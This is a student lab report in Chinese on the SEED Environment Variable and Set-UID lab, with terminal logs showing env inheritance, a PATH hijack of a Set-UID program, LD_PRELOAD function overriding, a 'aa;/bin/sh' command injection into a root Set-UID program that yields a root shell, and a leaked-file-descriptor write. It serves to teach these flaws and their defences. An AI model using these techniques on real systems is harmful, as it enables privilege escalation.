# 软件安全实验报告

2022 年 11 月 16 日

| | |
|---|---|
| 课程名称： | 软件安全 |
| 成绩评定： | |
| 实验名称： | 环境变量与 Set-UID 实验 |
| 实验编号： | 实验 4 |
| 指导教师： | 刁文瑞 |
| 姓　　名： | 李晨漪 |
| 学　　号： | 202000210103 |
| 学　　院： | 山东大学网络空间安全学院 |
| 专　　业： | 网络空间安全 |

# 目录

# 1 实验目的

本实验目标是理解环境变量是如何影响程序和系统的行为的。环境变量是存储在进程中的一系列动态命名的值，可以影响计算机上进程的行为方式（Wikipedia）。自从 1979 年 Unix 引入环境变量以来，大多数操作系统也开始采用环境变量。尽管环境变量会影响程序的行为，但是它是如何产生影响的，许多程序员并不真正理解。因此，如果一个程序利用了环境变量但是程序员不清楚它的运用，就可能会导致程序漏洞。

本实验涵盖以下主题:

1. 环境变量
2. Set-UID 程序
3. 安全地调用外部程序
4. 权限泄漏
5. 动态装载器/链接器

# 2 实验步骤与结果

## 2.1 Task 1：配置环境变量

- 使用 printenv 或者 env 指令来打印环境变量。

```
[11/15/22]seed@VM:~$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1998,unix/VM:/tmp/.ICE-unix/1998
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
```

图 1:

若对某个特定的环境变量感兴趣，比如 PWD，可以用指令“printenv PWD”或者“env | grep PWD”。

```
[11/15/22]seed@VM:~$ printenv PWD
/home/seed
```

图 2:

- 使用 export 和 unset 来设置或者取消环境变量。

```
[11/15/22]seed@VM:~$ export test='/home/seed/Desktop'
[11/15/22]seed@VM:~$ echo $test
/home/seed/Desktop
[11/15/22]seed@VM:~$ unset test
[11/15/22]seed@VM:~$ echo $test

```

图 3:

## 2.2 Task 2：从父进程向子进程传递环境变量

Step1）编译并运行 myprintenv.c 程序。将输出保存在一个文件中。

Step2）现在注释掉子进程中的 printenv() 语句，并取消注释父进程中的 printenv() 语句。再次编译并运行代码。将输出保存在另一个文件中。

Step3）使用 diff 命令比较这两个文件的差异。描述得出的结论。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc myprintenv.c
[11/15/22]seed@VM:~/.../Labsetup$ a.out > file
[11/15/22]seed@VM:~/.../Labsetup$ gcc myprintenv.c
[11/15/22]seed@VM:~/.../Labsetup$ a.out > file1
[11/15/22]seed@VM:~/.../Labsetup$ diff file file1
[11/15/22]seed@VM:~/.../Labsetup$
```

图 4:

- 解释：

  diff 命令没有输出，表示内容相同。

- 结论：

  子进程与父进程相比，继承了父进程的环境变量。

## 2.3 Task 3：环境变量和 execve()

Step1）编译并运行 myenv.c 程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv.out
[11/15/22]seed@VM:~/.../Labsetup$ ./myenv.out
[11/15/22]seed@VM:~/.../Labsetup$
```

图 5:

Step2）将 execve() 的调用更改为以下内容; 描述你的观察。

```
1 execve("/usr/bin/env",argv,environ);
```

Step3）请就新程序如何获取其环境变量得出你的结论。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv1.out
[11/15/22]seed@VM:~/.../Labsetup$ ./myenv1.out
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1998,unix/VM:/tmp/.ICE-unix/1998
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1963
GTK_MODULES=gail:atk-bridge
DBUS_STARTER_BUS_TYPE=session
PWD=/home/seed/Desktop/Labsetup
```

图 6:

- 解释：

```
int execve(const char * filename, char * const argv[], char * const
    envp[])
```

第一个参数 filename：程序所在的路径和名称。第二个参数 argv：传递给程序的参数，数组指针 argv 必须以程序 (filename) 开头，NULL 结尾。第三个参数 envp：传递给程序的新环境变量，无论是 shell 脚本，还是可执行文件都可以使用此环境变量，必须以 NULL 结尾。

Step1）赋予新进程的环境变量为空，自然印出环境变量结果为空。Step2）传递了全局环境变量 environ，可以成功将传递进去的环境变量打印出来。

- 结论：

execve() 产生的新进程的环境变量需要在调用时进行传递。

## 2.4 Task 4：环境变量和 system()

使用 system() 时，调用进程的环境变量会传递给新程序。请编译并运行以下程序来验证这一点。

```
/*task4.c*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/usr/bin/env");
    return 0;
}
```

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc task4.c -o task4.out
[11/15/22]seed@VM:~/.../Labsetup$ ./task4.out
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=1963
XDG_SESSION_TYPE=x11
SHLVL=1
HOME=/home/seed
DESKTOP_SESSION=ubuntu
```

图 7:

- 解释：

```
int system(const char * string)
```

system() 函数首先使用 execl() 来执行 /bin/sh；execl() 调用 execve()，并将环境变量数组传递给它。因此，使用 system() 时，调用进程的环境变量会传递给新程序/bin/sh。

- 结论：

system() 函数使用 execl() 函数生成子进程，调用/bin/sh 在 shell 中执行。这个过程中 execl() 调用了 execve() 函数，当在 system 中传入参数/usr/bin/env，即相当于将环境变量传入了 execve() 函数。因此，system() 函数可以成功执行打印了环境变量。

## 2.5 Task 5：环境变量和 Set-UID 程序

Step1）编写 task5.c 程序，打印当前进程的所有环境变量。

```c
/*task5.c*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void main()
{
    int i = 0;
    while (environ[i] != NULL) {
    printf("%s\n", environ[i]);
    i++;}
}
```

Step2）编译上述程序得到 foo，将其所有者更改为 root，并使其成为一个 Set-UID 程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc task5.c -o foo
[11/15/22]seed@VM:~/.../Labsetup$  sudo chown root foo
[11/15/22]seed@VM:~/.../Labsetup$  sudo chmod 4755 foo
```

图 8:

Step3）在 shell（确保在普通用户帐户，而不是 root 用户）中，使用 export 命令设置以下环境变量：PATH、LD_LIBRARY_PATH、ANY_NAME。在 shell 中运行 Step2 中的 Set-UID 程序。在 shell 中键入程序名后，shell 会 fork 一个子进程，并使用子进程来运行该程序。请检查你在 shell 进程（父进程）中设置的所有环境变量是否都进入了 Set-UID 子进程。描述你的观察。如果你有惊奇的发现，请描述它们。

```
[11/15/22]seed@VM:~/.../Labsetup$ export PATH='/usr/bin'
[11/15/22]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH='10086'
[11/15/22]seed@VM:~/.../Labsetup$ export Bokkenasu='1'
[11/15/22]seed@VM:~/.../Labsetup$ ./foo
```

图 9:

```
USER=seed
Bokkenasu=1
GNOME_TERMINAL_SERVICE=:1.156
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
DBUS_STARTER_ADDRESS=unix:path=/run/user/1000/bus,guid=d7f272a874b30ddae9cd7d106
37332b0
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=9:37273
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/des
ktop
PATH=/usr/bin
GDMSESSION=ubuntu
```

图 10:

- 解释：

观察发现，设置的 PATH、ANY_NAME 均成功执行，但是未找到 LD_LIBRARY_PATH（主要用于指定查找共享库（动态链接库）时除了默认路径之外的其他路径），不会出现在子进程的环境变量中的。

根据动态链接库的防御机制，在编译后设置了该程序的有效 ID 为 root，而在普通用户 shell 中运行时，真实用户为 seed，因此此处设置的环境变量被忽略，没有起作用。

- 结论：

为了使 Set-UID 程序更加安全，不受 LD_LIBRARY_PATH 环境变量的影响。如果程序是个 Set-UID 程序，运行时的链接器或加载器（ld.so）会忽略该环境变量。

## 2.6 Task 6：PATH 环境变量和 Set-UID 程序

Step1）编译所给程序 task6.c 和恶意程序 fake.c。

```c
/*task6.c*/
#include <stdio.h>
#include <stdlib.h>
int main(){
    system("ls");
    return 0;
}
```

```c
/*fake.c*/
#include <stdio.h>
int main()
{
printf("Hello world!\n");
return 0;
}
```

Step2）将 task6 设置为 setuid 程序。

Step3）通过 export 设置 PATH 先查找当前目录。

Step4）将 /bin/sh 链接到另一个没有防止攻击的对策的 shell；编译生成 ls，运行 task6。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc task6.c -o task6
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root task6
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 task6
[11/15/22]seed@VM:~/.../Labsetup$ ls
a.out       fake.c    file1       myenv.c    myprintenv.c  task5.c
cap_leak.c  fake.out  foo         myenv.out  task4.c       task6
catall.c    file      myenv1.out  mylib.c    task4.out     task6.c
[11/15/22]seed@VM:~/.../Labsetup$  export PATH=/home/seed:$PATH
[11/15/22]seed@VM:~/.../Labsetup$ pwd
/home/seed/Desktop/Labsetup
[11/15/22]seed@VM:~/.../Labsetup$ export PATH=/home/seed/Desktop/Labsetup:$PATH
[11/15/22]seed@VM:~/.../Labsetup$  sudo ln -sf /bin/zsh /bin/sh
[11/15/22]seed@VM:~/.../Labsetup$ gcc fake.c -o ls
[11/15/22]seed@VM:~/.../Labsetup$ task6
Hello world!
```

图 11:

- 解释：

```
[11/16/22]seed@VM:~/.../Labsetup$ ll task6
-rwsr-xr-x 1 root seed 16696 Nov 16 07:47 task6
```

图 12:

由于 task6 为 Set-UID 程序，有效用户为 root，在执行过程中是以 root 权限执行的。

## 2.7 Task 7：LD_PRELOAD 环境变量和 Set-UID 程序

Step1)：

1. 构建一个动态链接库。创建 mylib.c 程序。

```c
/*mylib.c*/
#include <stdio.h>
#include <stdlib.h>
void sleep (int s)
{
 /* If this is invoked by a privileged program ,
 you can do damages here! */
printf("I am not sleeping!\n");
}
```

2. 使用以下命令编译上面的程序：

```
$ gcc -fPIC -g -c mylib.c
$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
```

3. 设置 LD_PRELOAD 环境变量：

```
$ export LD_PRELOAD=./libmylib.so.1.0.1
```

4. 编译 myprog.c，和上面的动态链接库 libmylib.so.1.0.1 在同一个目录下：

```
/* myprog.c */
#include <unistd.h>
int main()
{
sleep(1);
return 0;
}
```

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc -fPIC -g -c mylib.c
[11/15/22]seed@VM:~/.../Labsetup$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[11/15/22]seed@VM:~/.../Labsetup$  export LD_PRELOAD=./libmylib.so.1.0.1
[11/15/22]seed@VM:~/.../Labsetup$ gcc myprog.c -o myprog
```

图 13:

Step2）请在以下条件下运行 myprog.c，观察会发生什么。

1. 使 myprog 为一个普通程序，以普通用户身份执行它。

会执行我们设定的库中的 sleep 函数，输出字符串。

```
[11/15/22]seed@VM:~/.../Labsetup$ ./myprog
I am not sleeping!
```

图 14:

2. 使 myprog 为一个 Set-UID 特权程序，以普通用户身份执行它。

正常执行程序，sleep 1 秒，然后退出程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root myprog
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[11/15/22]seed@VM:~/.../Labsetup$ ./myprog
[11/15/22]seed@VM:~/.../Labsetup$
```

图 15:

3. 使 myprog 为一个 Set-UID 特权程序，在 root 下重新设置 LD_PRELOAD 环境变量，并执行它。

以 root 用户运行：会执行我们设定的库中的 sleep 函数，输出字符串。以 seed 用户运行：正常执行程序，sleep 1 秒，然后退出程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/Desktop/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Labsetup# ./myprog
I am not sleeping!
root@VM:/home/seed/Desktop/Labsetup#
[11/15/22]seed@VM:~/.../Labsetup$ ./myprog
[11/15/22]seed@VM:~/.../Labsetup$
```

图 16:

4. 使 myprog 为一个 Set-UIDUser1 程序（User1 是程序的所有者，是另一个用户账户），在另一个用户账户下重新加 LD_PRELOAD 环境变量，并执行它。

4.1）新建用户 user1。

4.2）设置程序的所有者为 user1，并设置为 Set-UID 程序，并设置环境变量。

4.3）以 seed 用户运行该程序：正常执行程序，sleep 1 秒，然后退出程序。

```
root@VM:/home/seed/Desktop/Labsetup# useradd user1
root@VM:/home/seed/Desktop/Labsetup# sudo chown user1 myprog
root@VM:/home/seed/Desktop/Labsetup# sudo chmod 4775 myprog
root@VM:/home/seed/Desktop/Labsetup# ls
a.out       fake.out  libmylib.so.1.0.1  myenv.out     myprog     task5.c
cap_leak.c  file      ls                 mylib.c       myprog.c   task6
catall.c    file1     myenv1.out         mylib.o       task4.c    task6.c
fake.c      foo       myenv.c            myprintenv.c  task4.out
root@VM:/home/seed/Desktop/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Labsetup# ./myprog
root@VM:/home/seed/Desktop/Labsetup# exit
exit
[11/15/22]seed@VM:~/.../Labsetup$ ./myprog
[11/15/22]seed@VM:~/.../Labsetup$
```

图 17:

Step3）找出不同场景导致差异的原因。是环境变量在这里发挥了作用。请设计一个实验来找出主要原因，并解释为什么第二步中的行为不同。

编写并编译程序：env，通过改变注释行可以分别打印子进程的环境变量和父进程的环境变量。

```c
/*env.c*/
#include <stdio.h>
#include <stdlib.h>
#include<unistd.h>
extern char **environ;
void printenv(){
    int i=0;
    while (environ[i]!=NULL){
        printf("%s\n",environ[i]);
        i++;}
}

void main(){
    pid_t childPid;
```

```
15      switch(childPid=fork()){
16          case 0:
17          /*child process*/
18          printenv();
19          exit(0);
20          default:
21          /*parent process*/
22          //printenv();
23          exit(0);}
24  }
```

1. 程序为常规程序。以 seed 用户更改环境变量，执行程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$  export LD_PRELOAD=./libmylib.so.1.0.1
[11/15/22]seed@VM:~/.../Labsetup$ ./env > child1.txt
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$ ./env > parent1.txt
[11/15/22]seed@VM:~/.../Labsetup$ diff child1.txt parent1.txt
[11/15/22]seed@VM:~/.../Labsetup$ grep "LD_PRELOAD" parent1.txt
LD_PRELOAD=./libmylib.so.1.0.1
```

图 18:

**子进程与父进程环境变量相同,且含 LD_PRELOAD,即子进程继承了用户进程的 LD_PRELOAD 环境变量。**

2. 程序为所有者为 root 的 Set-UID 程序。以 seed 用户更改环境变量，执行程序。

```
[11/15/22]seed@VM:~/.../Labsetup$  export LD_PRELOAD=./libmylib.so.1.0.1
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root env
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 env
[11/15/22]seed@VM:~/.../Labsetup$ ll env
-rwsr-xr-x 1 root seed 16880 Nov 15 04:09 env
[11/15/22]seed@VM:~/.../Labsetup$ ./env > child2.txt
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$ ./env > parent2.txt
[11/15/22]seed@VM:~/.../Labsetup$ diff child2.txt parent2.txt
21a22
> LD_PRELOAD=./libmylib.so.1.0.1
```

图 19:

**父进程的环境变量可以发现 LD_PRELOAD 环境变量，而在子进程的环境变量中找不到，即子进程没有继承用户进程的 LD_PRELOAD 环境变量。**

3. 程序为所有者为 root 的 Set-UID 程序。以 root 用户更改环境变量，分别以 root 用户和 seed 用户执行程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/Desktop/Labsetup# ^C
root@VM:/home/seed/Desktop/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Labsetup# gcc env.c -o env
root@VM:/home/seed/Desktop/Labsetup# sudo chown root env
root@VM:/home/seed/Desktop/Labsetup# sudo chmod 4755 env
root@VM:/home/seed/Desktop/Labsetup# ./env > child3.txt
root@VM:/home/seed/Desktop/Labsetup# gcc env.c -o env
root@VM:/home/seed/Desktop/Labsetup# ./env > parent3.txt
root@VM:/home/seed/Desktop/Labsetup# diff child3.txt parent3.txt
root@VM:/home/seed/Desktop/Labsetup# grep "LD_PRELOAD" parent3.txt
LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Labsetup#
```

图 20:

**以 root 执行：子进程与父进程环境变量相同，且含 LD_PRELOAD，即子进程继承了用户进程的 LD_PRELOAD 环境变量。**

**以 seed 执行：父进程的环境变量可以发现 LD_PRELOAD 环境变量，而在子进程的环境变量中找不到，即子进程没有继承用户进程的 LD_PRELOAD 环境变量。**

4. 程序为所有者为 user1 的 Set-UID 程序。以 seed 用户执行程序。

```
[11/15/22]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown user1 env
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 env
[11/15/22]seed@VM:~/.../Labsetup$ ll env
-rwsr-xr-x 1 user1 seed 16880 Nov 15 20:44 env
[11/15/22]seed@VM:~/.../Labsetup$ ./env > child4.txt
[11/15/22]seed@VM:~/.../Labsetup$ gcc env.c -o env
[11/15/22]seed@VM:~/.../Labsetup$ ./env > parent4.txt
[11/15/22]seed@VM:~/.../Labsetup$ diff parent4.txt child4.txt
22d21
< LD_PRELOAD=./libmylib.so.1.0.1
[11/15/22]seed@VM:~/.../Labsetup$
```

图 21:

**父进程的环境变量可以发现 LD_PRELOAD 环境变量，而在子进程的环境变量中找不到，即子进程没有继承用户进程的 LD_PRELOAD 环境变量。**

- 解释：

动态链接器的**保护机制**。

当运行进程的真实用户 ID 与程序的拥有者的用户 ID 不一致时，进程会忽略掉父进程的 LD_PRELOAD 环境变量；若 ID 一致，则子进程会继承此时运行进程的真实用户下的 LD_PRELOAD 环境变量，并加入共享库。

## 2.8 Task 8：使用 system() 与 execve() 调用外部程序的对比

新建一个目录 t8，在该目录下创建 test.txt 文件。

```
[11/15/22]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/Desktop/Labsetup# mkdir t8
root@VM:/home/seed/Desktop/Labsetup# cd t8
root@VM:/home/seed/Desktop/Labsetup/t8# vi test.txt
```

图 22:

对于普通用户，test.txt 是不可写的，尝试删除它，但权限不够。

```
[11/15/22]seed@VM:~/.../t8$ ll test.txt
-rw-r--r-- 1 root root 13 Nov 15 04:21 test.txt
[11/15/22]seed@VM:~/.../t8$ rm test.txt
rm: remove write-protected regular file 'test.txt'? yes
rm: cannot remove 'test.txt': Permission denied
```

图 23:

Step1）编译上述程序，使其成为一个 root 拥有的 Set-UID 程序。该程序将使用 system() 来调用该命令。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root catall
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4775 catall
[11/15/22]seed@VM:~/.../Labsetup$ ll catall
-rwsrwxr-x 1 root seed 16928 Nov 15 04:24 catall
[11/15/22]seed@VM:~/.../Labsetup$ catall 'aa;/bin/sh'
/bin/cat: aa: No such file or directory
# cd t8
# rm test.txt
```

图 24:

Step2）注释掉 system(command) 语句，取消 execve() 语句；程序将使用 execve() 来调用命令。

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root catall
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4775 catall
[11/15/22]seed@VM:~/.../Labsetup$ catall 'aa;/bin/sh'
/bin/cat: 'aa;/bin/sh': No such file or directory
```

图 25:

- 解释：

第一步攻击成功，通过 catall 得到了 root 权限的 shell，成功删除 test.txt。

原因：在 system() 函数中，本质上是调用 shell 去执行命令，此时 shell 独立性是比较高的，会将其分为两条命令分开执行。没有区分代码和数据。

第二步攻击失败。因为 execve 会执行一个新程序，而不会调用新的 shell 程序。

原因：而 execve() 函数中，本质上就是执行命令，此时只能执行一个进程，当作一个命令执行，这是删除失败的原因。实现了代码和数据的相隔离。

## 2.9 Task 9：权限泄漏

Step1）以 root 用户创建一个 etc 文件夹，文件夹内创建 zzz 文件，并设置其权限为 0644。

```
root@VM:/home/seed/Desktop/Labsetup# mkdir etc
root@VM:/home/seed/Desktop/Labsetup# cd etc
root@VM:/home/seed/Desktop/Labsetup/etc# vim zzz
root@VM:/home/seed/Desktop/Labsetup/etc# chmod 0644 zzz
root@VM:/home/seed/Desktop/Labsetup/etc# ll zzz
-rw-r--r-- 1 root root 23 Nov 15 04:31 zzz
root@VM:/home/seed/Desktop/Labsetup/etc# exit
exit
```

图 26:

Step2）更改 cap_leak.c 下 zzz 的路径

```
fd = open("/home/seed/Desktop/Labsetup/etc/zzz", O_RDWR | O_APPEND);
```

Step3）编译 cap_leak.c，设置为 Set-UID root 程序。

Step4）在 seed 用户下运行，写入 zzz：

```
[11/15/22]seed@VM:~/.../Labsetup$ gcc cap_leak.c -o cap_leak
[11/15/22]seed@VM:~/.../Labsetup$ sudo chown root cap_leak
[11/15/22]seed@VM:~/.../Labsetup$ sudo chmod 4775 cap_leak
[11/15/22]seed@VM:~/.../Labsetup$ ./cap_leak
fd is 3
$ echo attack >& 3
$
```

Open　zzz [Read-Only] ~/Desktop/Labsetup/etc

cap_leak.c　zzz

```
1 11111111111111111111
2 Bokkenasu
3 Bokkenasu
4 attack
```

图 27:

- 解释：

该程序是 root 用户 Set-UID 程序，在执行了 setuid() 撤销权限后，由于打开的/etc/zzz 文件没有关闭，出现了权限泄露的问题即该文件仍然具有 root 权限。因此能够继续执行恶意写入。

# 参考文献

[1] 杜文亮. 计算机安全导论：深度实践 [M]. 北京: 高等教育出版社,2020.4.